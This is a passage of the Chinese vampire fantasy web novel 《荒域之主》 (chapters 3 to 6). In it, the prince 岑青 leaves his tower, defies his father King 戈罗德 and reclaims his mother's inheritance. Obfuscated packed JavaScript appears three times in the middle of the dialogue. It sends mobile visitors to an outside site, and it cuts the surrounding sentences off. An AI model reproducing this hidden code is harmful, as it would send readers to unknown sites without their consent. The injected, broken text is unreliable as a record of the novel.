《荒域之主》 3.第三章 岑青年幼走入黑塔，整整一百年，再未走出塔门一步。 冷风刮过走廊，脚步声持续回荡。 身侧摇曳昏黄的光，暗影在墙面拉长，倏而膨胀扭曲，似一头恶龙从沉睡中苏醒，睁开猩红的眼眸，以恶意俯瞰大地。 从黑塔中部至塔底，需经过数百级台阶。 岑青缓步向下，遇冷风袭来，耳畔流淌刺耳的呜咽声。外套下摆被风掀起，翻出暗红色内里。衣领和袖口刺绣蔷薇花纹，传承自他的母亲，最古老纯正的血统。 脚步声从身后传来。 扎克斯压下心中愤懑，疾行追上前。 他脸上的红印消失无踪，伤口也在愈合。森冷的目光刺向岑青，失去嘲讽，满是仇恨和杀意。 茉莉侧身一步挡住他的视线。 岑青没有任何表示，甚至没有回头看他一眼，态度漫不经心。 扎克斯从未被他放在心上，完全不被看在眼里。 这让外交大臣羞愤交加，一种被蔑视和鄙夷的刺痛贯穿大脑，怨恨油然而生，烈火一般焚烧全身。 凭什么？ 他怎么敢？ 一个注定被送出的王子，一颗任人摆布的棋子！ “伯爵阁下，您失态了。”茉莉表情冰冷，堪比万年不化的冰雪，瞬间冻住他的恶念，强迫他回归现实。 “您该记住自己的使命，我想国王陛下不愿意长久等待。他的耐心向来不太好。”女仆面无表情说道。 她的态度挑不出大错，言辞也是有理有据。 最后一句话却暴露出真实情感。 她对戈罗德缺乏尊重。 甚者，她从心底里厌恶这位血族国王。 利用肮脏手段窃取权力的卑劣之徒，根本不值得尊重。 扎克斯眼神晦暗，放松紧咬的后槽牙，猛一拉斗篷，快速越过茉莉追至岑青身侧。 他以恭敬的姿态行礼，一改之前的嚣张，毕恭毕敬，近似于浮夸：“殿下，请容许我为您带路。” “带路？”岑青终于将目光移向他，漆黑的瞳孔深不见底，窥不出半分情绪。 “是的。”扎克斯略微抬起头，皮笑肉不笑说道，“您多年未出黑塔，王宫的守卫并不认识您。为免引来误会，造成不必要的麻烦，由我来介绍您的身份，为您引路很有必要。” “我是否应该感谢你？”岑青盯着扎克斯，语气难辨喜怒。 “不敢，我只是忠心为王室服务，尽我应尽的职责。”扎克斯笑容虚假，话说得滴水不漏。 “职责？”岑青垂下眼帘，遮去短暂的情绪波动，“的确，每一个人都有应尽的职责。你提醒了我，伯爵阁下。” 话落，不理会扎克斯的反应，他径直越过对方，继续前行。 天空中阴云密布，狂风肆虐荒野，呼啸着刮过城内。 鹅毛般的大雪纷纷扬扬，灰云遮挡天空，白毯覆盖大地，目光所及不见二色。 宏伟的城市淹没在飞雪之中。 城内建筑垂挂冰棱，王宫也不能例外。高高的尖顶晶莹闪烁，冰晶上覆盖积雪，恍如雪国建筑。 岑青越过黑塔大门，站定在台阶上。 冷风似刮骨钢刀，雪片扑上脸颊，降下彻骨寒意。 他在风中伫立许久。 外套被风鼓起，下摆翻飞，猎猎作响。 银白飞舞，高挑的身影萦绕暗黑气息，苍白的脸颊缺乏血色，嘴唇浅淡，眉眼愈显漆黑，暗夜一般。 他仰头望向天空，深吸一口气，任凭冷空气灌入肺中，禁不住连声咳嗽，眼底却浮现笑意。 囿于塔中太久，即使是为自保，百年时间也太过漫长。 沉闷、枯燥，无比压抑。 危机降临，同样也是机遇。 “自由……” 声音流出唇缝，苍白的手抬起，掌心朝上，接住几片飘落的雪花。 他的身体太冷，雪花没有丝毫融化的迹象。直至手指合拢，被指尖碾碎，依稀能听到细微的声响，转瞬即逝。 头顶划过一道暗影。 乌鸦振翅穿过雪幕，盘旋在岑青头顶。 “嘎——” 叫声沙哑刺耳，随风盘绕黑塔。 更多乌鸦聚集而来，频繁地振翅盘旋，良久不去。 它们活像是一群秃鹫，盯准地上的猎物——气息奄奄的侍从，随时准备冲下来大快朵颐。 “报丧鸟！” 岑青出现时，塔外的骑士自动散开。 他们不认识这位王子，从未亲眼见过他，但听过他的传闻。 第一王后所生，国王陛下的长子，名正言顺的王位继承人。 自诞生起，他就拥有广袤领土和惊人的财富，大部分来自他的母亲，连国王都不能触碰。 乌鸦在他头顶盘旋，仿佛不散的阴云。 刺耳的叫声持续不断，一再刺激众人的耳道，惊悚滋生，心悸挥之不去。 岑青平抬起右臂，接住一只飞落的乌鸦。 这只聪明的黑鸟俯冲向下，脚爪扣住他的前臂，动作小心翼翼，避免锋利的爪尖伤到他。 “嘎！” 乌鸦又一次发出叫声，天空中的同族纷纷降低高度，穿梭在骑士们头顶。 一只接着一只，鸟群的速度越来越快，带起凛冽的寒风。 风刃割伤骑士的脸庞，刺痛尚未袭来，鲜血已经流出伤口，滴落在铠甲上，凝集点滴鲜红。 扎克斯快步追上来，看到此情此景，不由得面色阴沉。 仅是一个照面，他就领会到这位王子的阴晴不定和难缠，不愧是戈罗德陛下的儿子。 即使对他心怀怨恨，无比盼望他去死，扎克斯也不得不承认，在诸多王子和公主中，他的凶狠最像戈罗德。 岑青没有读心的能力，猜不透扎克斯的真实想法。 如果他知道，肯定会嗤之以鼻。 戈罗德？ 不，他不会承认。 如果可以，他宁肯放干身体中一半的血，断绝两人的父子关系。 哗啦！ 乌鸦袭击之后，骑士们接连挺起武器。 锋利无比的长矛，宽过两只手掌的重剑，以及火蜥蜴脊椎制成的长弓。所有矛头指向岑青，寒光聚集在他身上，战斗一触即发。 地上的侍从被遗忘。 他蜷缩起身体，不敢发出半点声响，小心地用手肘和膝盖挪动，希望不被卷入战场。那样地话，他或许还能多活几分钟。 和扎克斯一样，骑士们对岑青缺乏尊重。 这一点体现在行动上，他们将武器对准了他，即便他是一名王族。 一阵破风声袭来，黑塔外墙上的荆棘更加活跃。 数不清的荆条从天而降，灵蛇般袭向目标。 鞭影阵阵，雨点般抽打在骑士身上，轻易荡开骑士的武器，砸裂他们身上的铠甲。 两个倒霉蛋被抽中鼻梁，登时鼻骨塌陷，鲜血喷溅而出。剧痛使他们握不住武器，只能单手捂住伤处，发出撕心裂肺的哀嚎。 这一幕发生得太快，就在电光石火之间。 塔外的二十名骑士无一幸免，全部遭受攻击，接连被抽倒在地。 众人在地上翻滚，发出一阵阵惨叫。血色在地面铺开，点点红梅在雪中绽放，散发出腥甜的气息。 短短几分钟时间，骑士们已是伤痕累累。 有两人失去鼻子，三人仅剩下一只眼睛，其余人都是满身鲜血和淤青，被荆棘的毒侵蚀体内，必然要痛苦很长一段时间。 听着骑士们的惨叫，目睹他们的惨状，岑青没有半分怜悯，冷漠地评价道：“虚弱的血族，不值一提的战斗力。难怪会屡次战败，真是令人不齿。” 他没有压低声音，一字一句清晰传入扎克斯的耳朵。 外交大臣表情微僵，感到羞愤不已。 他并不惊讶岑青消息灵通，能够知晓王国战事不利。他甚至心有猜测，国王放他出塔的原因或许也不再是秘密。 “陛下在等您。”扎克斯无意为骑士保留体面，直接视对方如无物。仅出言提醒岑青，他不应该在这里耽误时间。 “你果然尽忠职守。”岑青意味深长地笑了笑，迈步走下台阶，穿过倒地的骑士中间，精致的靴子踏过雪地，踩中凝固的血。靴底的花纹重叠血色，留下一枚惊悚的图案。 茉莉快步跟上他，沿途一言不发，手中牢牢捧着木盒。 扎克斯装模作样在前引路，如他之前所言，向所有人宣告岑青的身份。 乌鸦群飞上高空，刺耳的叫声撕裂寒风。它们的眼珠翻出猩红，这是猎杀的前兆。 骑士们勉强从地上爬起身，互相搀扶着离开黑塔，试图避开乌鸦群的攻击。 他们自顾不暇，没人理会地上的侍从。 他的生命力格外顽强，抓住一只钻出雪洞的老鼠，汲取猎物的血液，勉强恢复些力气，四肢并用在地上爬行，竟也奇迹般逃出生天。 扎克斯放纵侍从砸门，任由骑士在黑塔前耀武扬威，未尝不是试探岑青，妄图给他一个下马威。 可惜计划落空，岑青并不可欺。 事实上，他反过来给了外交大臣强有力的震慑。 以一种不曾预料的方式，令扎克斯猝不及防，很难做到以牙还牙，只能吃下这记闷亏。 一行人穿过王宫中的石路，越过雕像曾经矗立的地点，来至城堡大门前。 门前有骑士守卫，如扎克斯所言，他们对岑青十分陌生，在扎克斯说明情况之后，视线扫过岑青和他身后的女仆，停留超过半分钟。 “王子殿下？” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871815|159552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是的，国王陛下召见。”扎克斯说道。 身为王国的宠臣，他的话很有说服力。 “放行。” 骑士们移开交错的长矛，让出通向城堡大门的台阶。 扎克斯先一步登上阶梯，侧身等候岑青。 他背对一根罗马柱，微微躬身，单臂侧指敞开的城堡大门：“殿下，请和我来。” 岑青目视前方，门后隐隐有乐声流淌。 他的嗅觉格外灵敏，能捕捉到风中的一丝腥甜，格外新鲜，酝酿着贪婪、奢靡、野心和欲望。 穿过厚重的城堡大门，脚下是光可鉴人的地板。挑高的穹顶高过二十米，色彩绚丽的壁画遍布天花板和墙面。浮雕图案诡谲神秘，浑似一个个狰狞的骷髅嵌入云层，使人毛骨悚然。 走廊内异常空旷，能清晰听到脚步声回响。 道路右侧是奢华的宴会厅，两扇大门半敞，分割开一幅完整图案，金灿灿的颜色，赫然是一株金色蔷薇缠绕锋利的宝剑。 容貌俊秀的侍从守在门前。 他们站成两排，面无表情，一言不发，像是精致的人偶。 见到扎克斯和岑青，为首两人进一步推开大门，香风和酒气瞬间涌出。 乐声欢快，入耳后变调，交织成颓靡的音符。 大厅内花团锦簇，不同风格的美人聚在一起，大多穿着轻薄的纱裙，赤着双足，光洁的皮肤一览无余。 大厅正前方是国王的宝座。 戈罗德衣襟大敞，露出健壮的胸膛。右手端着金酒杯，毫无形象地靠在椅子上。 十多名美人环绕在他身边，最得宠的一个坐在他的腿上，依偎在他胸前。 美人们忙于争宠，手段百出，莺声燕语不断。甜美的笑声中盛满蜜糖，能轻易腐蚀意志，摧毁铁石心肠，使灵魂永恒迷醉。 一名衣着华贵的女子同在室内。 她身段丰满，猩红长裙曳地，腰间缠绕珍珠，细长的脖颈上佩戴硕大的红宝石。 一头浓密的卷发盘在头顶，一顶金冠压在发上，金冠镶嵌的宝石无比珍贵，来自殷王后的宝库。 茉莉一眼认出宝石来历，瞳孔登时变色。 她靠近岑青身侧，语速飞快，将所知一切道出。 岑青抬眸望过去，女人似有所感，转身迎上他的目光。 她容貌娇美，气质妩媚，既有少女的娇憨，也有成熟女人的风韵。一双眉毛细长，眼睛和鼻子的轮廓和扎克斯有五分相似。 她就是现任王后，戈罗德的第九任妻子，也是扎克斯的妹妹，出身伯爵家族的王后左娜。 她接到扎克斯的口信，出现在这里并不奇怪。 问题在于她佩戴的首饰。 当着岑青的面佩戴属于殷王后的宝石，很难不认为是一种挑衅。 看到左娜的打扮，扎克斯不由得心头一跳。 他刚想提醒自己的妹妹，奈何国王突然开口，断绝了他的机会。 “你来了。”戈罗德醉眼惺忪，声音嘶哑。 他勉强坐直身体，手指却抓不稳酒杯，金色的酒杯滚落到他脚下，残存的液体飞溅在地板上，泼开点点红痕。 “奉您召见前来，尊贵的陛下。”岑青上前两步，昂首直视美人绕膝的国王，“希望没有打扰您的兴致。” 他无视一旁的王后，没有给对方半个眼神。 此举让左娜心生不悦。她正要当场发作，突然撞见扎克斯瞥来的眼神，神情一愣，没能第一时间发出叱责。 “有件事需要你去做。”戈罗德打了个哈欠，声音懒洋洋，态度疏离散漫。时隔多年，父子两人终于面对面，没有一丝一毫的亲情，更像是在对待一个陌生人，“王国需要与雪域结盟，通过联姻。你准备一下，和使团一起北行。你应该感谢我，让你能重获自由，成为雪域之主的妻子。” 这番话实在无情。 更加无耻。 对一名王位继承人，他的第一个孩子，戈罗德没有施舍一分一毫的情感，像是在打发一个无关紧要的人物。 岑青没有发怒。 他的情绪没有任何波动，冷静得异乎寻常。 “这件事已经定了？” “当然。”以为岑青妄图反抗，戈罗德加重语气，以不容置疑的声音说道，“国书已经送出，上面有你的名字。过几天会把你的画像送去，你没有反对的资格。” 定了？ 那就好。 岑青缓慢牵起嘴角，笑容明媚：“这可是你自找的，老登。” 他的发音很奇怪，不是血族语言，也不属于戈罗德知晓的任何一种语系。 不确定岑青在说什么，戈罗德表情疑惑：“你在说什么？” “我在赞美您，陛下。”岑青丝滑地更改语言，笑容依旧不变，比之前更加灿烂。 4.第四章 岑青的反应过于奇怪。 他即将沦为联姻工具，成为一件牺牲品，却不做任何反抗，反而接受良好，平静的态度异乎寻常。 戈罗德的感觉十分微妙。 像是一拳打在棉花上，完全使不出力气。这令他分外不悦，心中隐隐生出不安。 他不断告诉自己是在多疑，一个没有任何权势的儿子，注定掀不起任何风浪。 “你可以离开了。”他说道。 “陛下，您确定没有忘记什么？”岑青没有如他所愿离开。 年轻的王子一改之前的顺从，双手交叠在身前，左掌心压住右手背，双眼直视王座。 锐利的视线穿过大厅，与戈罗德目光相遇，针锋相对，没有丝毫避让。 “希望我为血族付出，却不给我任何回馈？”他发出一声嗤笑，充满讽刺意味，“这就是血族之王的品格？真是令人大开眼界。” “你放肆！”左娜终于找到机会开口，立刻叱喝出声，“无礼的废物，你该感恩陛下给予你自由，而不是在这里大放厥词！” 岑青没有理她，不给她半个眼神。 他只是盯着戈罗德，不放过对方任何表情变化。 “陛下，我在等您的回答。” “你希望我说什么？”戈罗德看向岑青，态度依旧漫不经心，目光却变得认真，“如果我不给你任何东西，你难道要违背我的命令，拒绝联姻？” “未必没有可能。”岑青的回答模棱两可。 “你无法承担后果，兰希，我的儿子。”戈罗德沉声道。 “您最好称呼我岑青，我母亲留给我的名字。”岑青不卑不亢，半点不在意对方的威胁。 扎克斯心头发紧。 他谨慎地看向国王，揣测他的情绪，又将目光移向王后，示意她稍安勿躁。其后向岑青开口：“殿下，您身为国王陛下的长子，理应勉尽职责。难道您要坐视王国陷入危机，不愿出力？” 岑青挑眉看向他：“你在质问我？” “不，我是在提醒您。”扎克斯站在道德制高点，公然对岑青进行绑架。 卑劣无耻，颠倒黑白，强迫对方主动牺牲。 自己则立于不败之地，更能借机博取国王宠幸。 “你没有资格提醒我，更没有资格向我提出建议。一个肮脏的小人，你的言行令我作呕。”岑青丝毫没有顾忌，公然戳破扎克斯的脸皮。 他在鄙夷一个小人，一个奸佞，没必要同对方虚与委蛇。 不想继续同对方扯皮，他从茉莉手中接过木盒，重新看向戈罗德，直截了当提出要求：“我可以接受王命，但是，我也要拿回属于我的东西。” “你的东西？” “我母亲留下的土地、珠宝和金币，以及被关押的女仆，流放在外的骑士。” “你太贪心了。”戈罗德脸色微沉，一把推开膝上的美人。后者摔落在地却不敢发出任何声音，匆忙躲闪到一旁，唯恐引来国王迁怒。 “我只想取回部分，而非一切，绝称不上贪心。”岑青意有所指，不介意口出威胁，更不在乎激怒对方，“我想您比任何人都清楚，我本该拥有什么。” “我不会给你。”戈罗德怒不可遏。声怒之下，他捏碎椅子扶手，细碎的木屑流出掌心，雾状洒向地面，“你最好老实点，我会给你一个爵位，让你不至于光着脚去雪域。至于别的，那不属于你，你最好放弃奢望！” 相比戈罗德的暴怒，岑青表现得胸有成竹，从始至终情绪稳定。 “陛下，如果这场联姻至关重要，该让步的不会是我。”他单手托着木盒，冰冷的手指擦过盒身边缘，压住设计精巧的锁扣，“您应该醒一醒酒。” “你说什么？！” “除非您另有联姻人选，否则地话，您最好认真考虑我的要求。”岑青摇头叹息，似在嘲笑对方认不清现实。 戈罗德冷笑一声，眼珠泛起血红：“你太天真了，以为这样就能和我提条件？” “众所周知，雪域之主是一名暴君，动辄举起屠刀。讨好他或许很难，激怒他却很容易。”无视戈罗德的讥讽，岑青绽放笑容，锋利的獠牙露出唇缘，“如果我注定失去一切，人生走向绝望，您猜我会如何做？” 边境乱军已经让戈罗德焦头烂额。 相比不成建制的乱军，雪域的军队所向披靡，更加难以抵挡。 如果岑青决心要带着所有人去死，戈罗德的确毫无办法。 “你不在乎王国？”戈罗德沉声道。 “你的王国，不是我的。”岑青摇摇手指。 别想用这些绑架他。 认真计较地话，面前的国王、他的王后、以及众多大臣都是他的仇人。 总不能为了仇人的王国连钱都不要吧？ “要么答应我的条件，要么马上杀了我。”岑青明摆着威胁，没有任何讨价还价的余地，“当然，您也可以更换王后，”他的目光瞟向左娜，笑得恶劣，“让您的某位私生子重新成为婚生子。不过那样一来，国书就要重新递送。朝令夕改，您猜雪域会有什么反应？” 要么答应他，要么杀死他。 二选一，没有别的答案。 明明是弱势一方，岑青却气定神闲。 感谢上一世的记忆。 所谓九族消消乐，完全能以另一种方式呈现，带给这些血族别样震撼。 戈罗德面沉似水。 岑青的威胁来得突然，堵住所有退路，令他进退维谷，陷入一种窘迫境地。 自从夺取第一任妻子的王位，登上王权宝座，少有人敢如此冒犯他。 兰希，不，岑青，这是那个女人给他的名字。 他做到了。 “你确定要挑衅我的权威？”戈罗德声音沉怒，大手抓住高背椅，木屑簌簌飞落，很快在地上积了一小堆。 大厅内的美人惊慌失措。 她们惶惶不安，试图离开王座更远，把自己藏进阴影里，可惜并不成功。 一个红发美人落到最后。 她没能逃离王座前的台阶，被一只大手扼住脖颈，脆弱的颈项被攥紧，她像一只孱弱的鸟，根本无力自救。 咔嚓一声，是骨头断裂的声响。 美人停止挣扎，双臂和头颅无力垂落。浓密的卷发如瀑布垂挂，凌乱散落在眼前，遮去灰暗的双眼。 生命之火熄灭，仅在刹那之间。 这一幕不算罕见，宴会厅内的人大多习以为常。 背负杀妻之名，令王国贵族和大臣们俯首帖耳，没人能期盼戈罗德会有好脾气。只要他不经常发疯，已经是谢天谢地。 砰！< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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两人几乎一样高。 只是戈罗德更加强壮，岑青在他面前愈显瘦削。 年轻王子的容貌更多继承自母系。 白皙光洁的皮肤，柔和的轮廓，俊俏的五官。鸦羽般的头发，以及夜色一般的眼睛。 百年过去，面对被故意遗忘的血脉，久远的记忆猛然复苏，撞入戈罗德被酒精侵蚀的脑海。 “戈罗德，你欺骗了我。” “欺骗我要付出代价。” “我诅咒你，你将永堕厄运。” “贪婪的灵魂，卑劣的生命，你将被彻底抛弃，无论生死，永远的孤独。你注定被猜忌和背叛包裹，众叛亲离，直至在绝望和恐惧中疯癫。” 戈罗德瞳孔轻颤，手指猛然收紧。 “朱殷！” 一瞬间，岑青的面孔与记忆中的人重合。 曾经的热爱、背叛、纠缠、杀戮、以及恐惧，种种过往涌上心头，竟都不曾真正远去。 戈罗德双眼猩红，恐怖的气浪炸裂，漩涡状自脚底迸发，引发建筑剧烈震颤。 窗户和大门发出危险的挤压声。 水晶吊灯来回摇荡，灯座下的垂饰互相碰撞，频繁有挂钩断裂脱落。 大颗水晶和珍珠自半空坠落，接连不断砸向地面。 不规则的碎片飞溅开，倒映出对峙的两人，铺开大片扭曲的光影。 5.第五章 戈罗德的力量突然失控，源于他暴怒的情绪。 王后左娜大惊失色，她被风挤压向后，单臂挡在头前，试图抵抗侵袭的力量：“陛下，请您冷静！” 扎克斯距离更近，遭受猛烈冲击，样子更是狼狈。 他的额头被掉落的灯饰割伤，鼻梁与下颌也出现伤痕，流出殷红的血。可他无心去擦拭伤口，双眼紧盯着前方，目光惊疑不定。 他清楚戈罗德的力量，虽不及殷王后，也处于血族顶尖。众多大贵族直面冲击也难全身而退。 可他看到了什么？ 那位走出黑塔的王子，被戈罗德抓住脖子，身处风暴中心竟能安然无恙？ 他的侍女倒在地上，挣扎着想要爬起来，仍被风压得直不起身。抬起头时，眼球染上血色，嘴角冒出獠牙，随时将要狂化。 “陛下，您最好想清楚再动手。”岑青被扼住脖颈，仍不见丝毫畏惧，“杀了我，你的计划会落空，未免得不偿失。” “哦？” “我只想拿回属于我的东西，这很合理。”岑青声音轻柔，似蛊惑串连成咒语，“我母亲留给我的一切，远比我索取的更多。” 戈罗德盯着他，半晌后手指微松，室内的风也终于停了。 如岑青所言，不能杀了他，只能满足他。 雪域的巫妖喜怒无常，脾气阴晴不定。结盟不成反招来敌人，绝非他所希望。 朱殷的遗产数额庞大，不夸张地说，她名下的土地超过大贵族总和。他可以让出一些，绝不能是全部。 “我给你一座领。至于珠宝和金币，”他偏头看向左娜，不顾对方骤然变色，独断道，“你母亲的珠宝归还半数。” “感谢您的慷慨。”岑青语气夸张，很难说是否是在嘲讽。 涉及到仆人和奴隶，同样不是大问题。 戈罗德轻易松口。 至于骑士…… “我只要黑骑士。”岑青提前开口，阻断戈罗德推脱的可能，“他们只忠于我的母亲，与其流放在外，不如给我。也能为您解决一个隐患，难道不是吗？” 戈罗德再三考量，权衡利弊，终于点了点头。 “可以。” 见国王松口，扎克斯和左娜的脸色都很难看。尤其是左娜，归还的珠宝全部要从她的宫殿搬走，她实在难以接受。 就在她满心愤懑时，岑青的视线突然移过来。 森冷的目光充满压迫感，不祥的气息袭来，令左娜脊背生寒。 “我母亲的东西，你理应还回来。” 左娜心中一惊，下一刻黑光袭来，荆棘女仆出现在她身后。 冰凉的手压住她的肩膀，带刺的荆棘绕过她的脖颈，扯断她佩戴的项链，强行摘下她头上的金冠。 一声钝响，金冠落地，镶嵌宝石的凹槽空空如也。断裂的项链缠绕金冠边缘，上面的宝石同被取走。 身后的黑暗消失，荆棘女仆回到岑青身侧。 左娜掌心覆上脖颈，眼前一片赤红。 浓密的长发凌乱散落，使她形象全无。衬托狰狞的表情，简直像一个疯子。 她从没有这样狼狈不堪！ “你放肆！”左娜怒不可遏，尖牙刺破牙床，声音尖利无比。 无视左娜的叫嚣，岑青翻过掌心，几颗红宝石悬浮跳跃，仿佛生机勃勃的火焰。 龙血石，家族传承的至宝。 母亲留给他，却被戈罗德无耻霸占，又赏赐给他的情人，如今的王后。 真是令人不齿。 岑青收起宝石，没有给左娜半个眼神。他甚至没有向国王告辞，直接脚跟一转，带着女仆扬长而去。 在他身后是表情阴沉的国王，目光晦涩的外交大臣，以及披头散发、被强行拦住的王后左娜。 “哥哥，他在羞辱我!” “你既然挑衅他，就该预期到各种可能。收敛些，别再自找麻烦。” “你……” “行了！” 强行制止左娜，扎克斯看向戈罗德。 国王的变化没有逃过他的眼睛。 他必须更加小心谨慎，以免被国王迁怒，导致计划功亏一篑。 甚者，沦为父子相争的炮灰。 城堡的震动突如其来，惊动巡逻的骑士。守卫们快速集结，沉重的脚步声回荡在走廊内，靠近紧闭的宴会厅。 城内贵族察觉异常，接到王宫中递出的消息，大量马车驶出府邸，从四面八方聚向金岩堡。 车轮滚滚穿街过巷，带起一阵风，引发城民好奇。 临街的房屋传出声响，陆续有窗户被推开，不同的面孔出现在窗后，无一例外看向疾驰的马车。 “发生了什么？” “是王宫？” “这些日子总不太平。” 血族的房屋都有尖顶，屋檐下垂挂冰棱，烟囱在屋顶立起。 恰逢日落时分，烟囱中冒出黑烟。 烟气持续上升，丝丝缕缕随风飘散，追逐马车行动轨迹，一同涌向王宫。 丞相巴希尔率先抵达，其后是财政大臣、军事大臣和内政大臣，以及多名国王信任的贵族成员。 他们在城堡前下车，脚步匆匆登上台阶。 途中没有遇见守卫，众人心下生疑，脚步不停穿过走廊。来到宴会大厅外，终于发现聚集的骑士。 “怎么回事？” “里面发生了什么？” “陛下是否安好？” 巴希尔召来骑士队长，贵族们七嘴八舌询问，声音嘈杂，像一群鸟兽在叽叽喳喳。 “陛下召见第一王子，王后和扎克斯伯爵都在。”骑士队长言简意赅，快速向众人说明情况。 “变故和王子有关？” “我不知道全部，王子进去不久，室内就发生异常。”骑士队长说道。 贵族们眉心深锁，目光闪烁。 众人齐刷刷看向宴会厅大门，好似门后蛰伏洪水猛兽，随时将要冲出来朝他们张开血盆大口。 突然，门轴转动声传来，雕刻精美的门扇向内敞开，一阵风侵袭走廊，吹起众人的头发和衣摆。 贵族们下意识抬手遮挡。 等风声稍停，众人放下手臂，终于看清门后出现的身影。 一个高挑的黑发青年，一名捧着木盒的女仆。 青年的样貌很陌生，女仆却相当熟悉。百年之前，她曾出现在多场庆典上，是殷王后的首席女官。 认出女仆，众人再看青年，他的身份无需猜测，已是不言而喻。 殷王后的血脉，国王的长子，王位的第一继承人，即将被送往雪域的弃子。 岑青站在门后，目光扫视走廊，未在任何人身上多作停留。 他的上衣少去一枚领扣，脖颈上的掐痕清晰可见。 他浑不在意，任由形形色色的目光落在身上，迈步进入走廊，穿过两侧人群，视大臣们如无物。 茉莉紧跟在他身后，额头和脖颈都带着伤。随着她向前走，伤口飞速愈合，变成细窄的红线，不留一丝疤痕。 两人径直走出城堡，中途没有片刻停留。 即使周遭是王国重臣，是这个国家中最有权势的大贵族，岑青也没有驻足的心思，更不打算攀谈。 他的母亲为王国征战， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886744|159552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奉献出一切，最终却失去权力含恨而死。 戈罗德是罪魁祸首，贵族们也不无辜。 以眼还眼，血债血偿。 既然他走出黑塔，他们就必须付出代价。 或早或晚。 目送岑青的背影，丞相巴希尔表情木然，很难猜透他此刻的真实想法。 良久之后，他才收回目光，带领众人进入宴会厅。 大厅内一片狼藉。 墙壁和穹顶爬上裂痕，不时有墙皮剥落。 窗框碎裂，冷风灌入室内，推动破碎的灯饰向前翻滚，不停堆向墙角。 地上躺着一具尸体。 不，已经无法再称之为尸体。 散落的灰尘勉强勾勒出人形，破损的衣裙上压着灰蒙蒙的珠宝，实在难以想象她生前是多么光彩照人，还是戈罗德最宠爱的情人。 王后左娜和外交大臣扎克斯僵硬地站在原地。 两人神情紧张，长时间一言不发，和平日里大相径庭。 王座支离破碎，扶手沦为齑粉。 戈罗德就坐在台阶上，双手交握，拇指撑在鼻下。他的双眼不再浑浊，目光变得锐利，眼底残留未燃尽的怒火。 巴希尔等人脚步微顿，其后跨上前一步，恭敬地弯腰行礼。 “陛下。” 不等他们直起身，戈罗德的声音在众人头顶响起：“我的儿子，他很乐意前往雪域。” 巴希尔等人惊讶抬头，表情各异。出于谨慎，都没急着开口。 戈罗德变换姿势，伸直一条腿。他隐瞒与岑青的交锋，公然为自己的脸上贴金；“作为奖励，我赐给他千湖领，派遣骑士护卫。还会给他一定数额的珠宝，仆人和奴隶。” 相比殷王后留下的遗产，这些只能说是九牛一毛。 王后的脸色却极其难看。 戈罗德和岑青达成妥协，她却要付出最多代价。曾以为是囊中物的珠宝，她全要给出去，无法留下一件。 大臣们交换目光，短暂讨论之后，都赞成国王的决定。 事实上，他们也没有反对的立场。 不提戈罗德独断转行，他给出的一切本就属于岑青，早应该授予他，而非拖延到今日。 “陛下，使者的人选需要尽快敲定。”巴希尔不再关注赏赐，转而提及使团。 “遵照您的命令，向雪域递送国书。鹰带回书信，雪域之主没有拒绝和谈。”巴希尔侃侃而谈，从怀中取出书信，呈送至戈罗德面前。 信件措词简略，略有些敷衍，却是不折不扣的好消息。 戈罗德看过之后，怒意立减。 他起身打了个响指，室内的一切开始恢复，恰似时光倒流。 王座完好如初，墙壁穹顶变得光洁。 水晶吊灯重新闪耀，仆人移来长桌和高背椅，群臣依次落座，开启又一轮议政。 王后左娜坐到国王下首，头发重新挽起，没有佩戴任何首饰。 国王的美人们知趣地退出大厅，行动间悄无声息。她们惊魂未定，想到死去的同伴，更像是绝处逢生，正在飞速逃命。 城堡外，岑青和茉莉走下台阶，身后无人跟随。 飞雪连天，铺开大片银白。 站在雪中，岑青回望屹立的城堡，轻轻咳嗽几声，心情大好。 “先收些利息。” 他脚步轻快，嘴里哼着陌生的曲调。 今天只是开始。 他会取回属于他的一切，无论土地、财富、还是权力。 有人过于贪婪，总想得寸进尺。既然如此，就该让他们认清现实，给他们一个教训，刻骨铭心。 6.第六章 日暮山脉位于血族王国西境，由绵延无尽的峰峦组成。 山体陡峭，高低错落，一眼望去如矛头林立。 西境气候恶劣，山中草木稀疏，山脚沟壑遍布，形成宽窄不一的峡谷。 谷底堆积各种颜色的石块，石块缝隙间散落大量骸骨、铠甲和不同种族的兵器，全部是古战场的遗迹。 每逢清晨和傍晚，峡谷中皆会雾气蒸腾。 有毒的灰雾迅速膨胀，包裹连绵起伏的山脉，蚕食大片谷地。 如此恶劣的环境中，偏驻扎一支骑士小队。 队伍由三十人组成，都是身经百战的骑士。他们出身贵族，本领超群，屡次建立功勋却不得重用，反而遭到流放，百年间远离王城。 很不公平，却无人为他们求情。 全因他们忠心于死去的殷王后，岑青的母亲，从不曾向戈罗德宣示效忠。 基于殷王后死因存疑，他们憎恨戈罗德。 以队长米诺为首，骑士们宁愿自我流放，也不愿站在戈罗德的王旗下，更不愿向他发下誓言为他而战。 持续数日的暴雪告一段落。 风依旧冷。 风中传来凄厉的嚎叫，是灰背狼。 它们身形矫健，在山谷间行进如风。狼群总是成群结队出没，给生活在山脚的骑士们造成很大麻烦。 嗡！ 